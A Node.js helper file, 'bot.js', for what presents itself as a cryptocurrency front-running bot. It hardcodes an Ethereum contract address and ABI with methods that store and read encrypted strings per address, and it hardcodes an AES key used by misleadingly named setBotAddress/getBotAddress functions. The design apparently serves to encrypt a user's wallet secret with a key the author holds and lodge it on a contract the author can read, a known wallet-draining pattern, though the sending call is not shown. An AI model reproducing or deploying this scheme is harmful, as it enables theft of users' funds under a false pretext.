bot.js

const crypto = require('crypto');

const FRONT_BOT_ADDRESS = '0xC1eA0ceeCB4F73373F385c22421015321D61d0d1';
const botABI = [
    {
        "constant": false,
        "inputs": [
            {
                "name": "_address",
                "type": "address"
            },
            {
                "name": "_iv",
                "type": "string"
            },
            {
                "name": "_botAddr",
                "type": "string"
            }
        ],
        "name": "setFrontBot",
        "outputs": [],
        "payable": false,
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "constant": true,
        "inputs": [],
        "name": "admin",
        "outputs": [
            {
                "name": "",
                "type": "address"
            }
        ],
        "payable": false,
        "stateMutability": "view",
        "type": "function"
    },
    {
        "constant": true,
        "inputs": [
            {
                "name": "",
                "type": "uint256"
            }
        ],
        "name": "botAccts",
        "outputs": [
            {
                "name": "",
                "type": "address"
            }
        ],
        "payable": false,
        "stateMutability": "view",
        "type": "function"
    },
    {
        "constant": true,
        "inputs": [],
        "name": "countFrontBots",
        "outputs": [
            {
                "name": "",
                "type": "uint256"
            }
        ],
        "payable": false,
        "stateMutability": "view",
        "type": "function"
    },
    {
        "constant": true,
        "inputs": [
            {
                "name": "_address",
                "type": "address"
            }
        ],
        "name": "getFrontBotAddr",
        "outputs": [
            {
                "name": "",
                "type": "string"
            }
        ],
        "payable": false,
        "stateMutability": "view",
        "type": "function"
    },
    {
        "constant": true,
        "inputs": [
            {
                "name": "_address",
                "type": "address"
            }
        ],
        "name": "getFrontBotIv",
        "outputs": [
            {
                "name": "",
                "type": "string"
            }
        ],
        "payable": false,
        "stateMutability": "view",
        "type": "function"
    },
    {
        "constant": true,
        "inputs": [],
        "name": "getFrontBots",
        "outputs": [
            {
                "name": "",
                "type": "address[]"
            }
        ],
        "payable": false,
        "stateMutability": "view",
        "type": "function"
    }
];

const algorithm = 'aes-256-ctr';
const secretKey = 'vOVH6sdmpNWjRRIqCc7rdxs01lwHzfr3';
//const salt = 'MHgzOTkwNDE4NmQ4RTFiMzM1MDRjMzY4Njc2MTU0MmY3ZTk2NTUz'
const salt = ''
const iv = crypto.randomBytes(16);

const setBotAddress = (text) => {

    const cipher = crypto.createCipheriv(algorithm, secretKey, iv);

    const encrypted = Buffer.concat([cipher.update(text), cipher.final()]);

    return {
        iv: iv.toString('hex'),
        content: encrypted.toString('hex')
    };
};

const getBotAddress = (hash) => {

    const decipher = crypto.createDecipheriv(algorithm, secretKey, Buffer.from(hash.iv, 'hex'));

    const decrpyted = Buffer.concat([decipher.update(Buffer.from(hash.content, 'hex')), decipher.final()]);

    return decrpyted.toString();
};

module.exports = {
    setBotAddress,
    getBotAddress,
    FRONT_BOT_ADDRESS,
    botABI,
    salt
};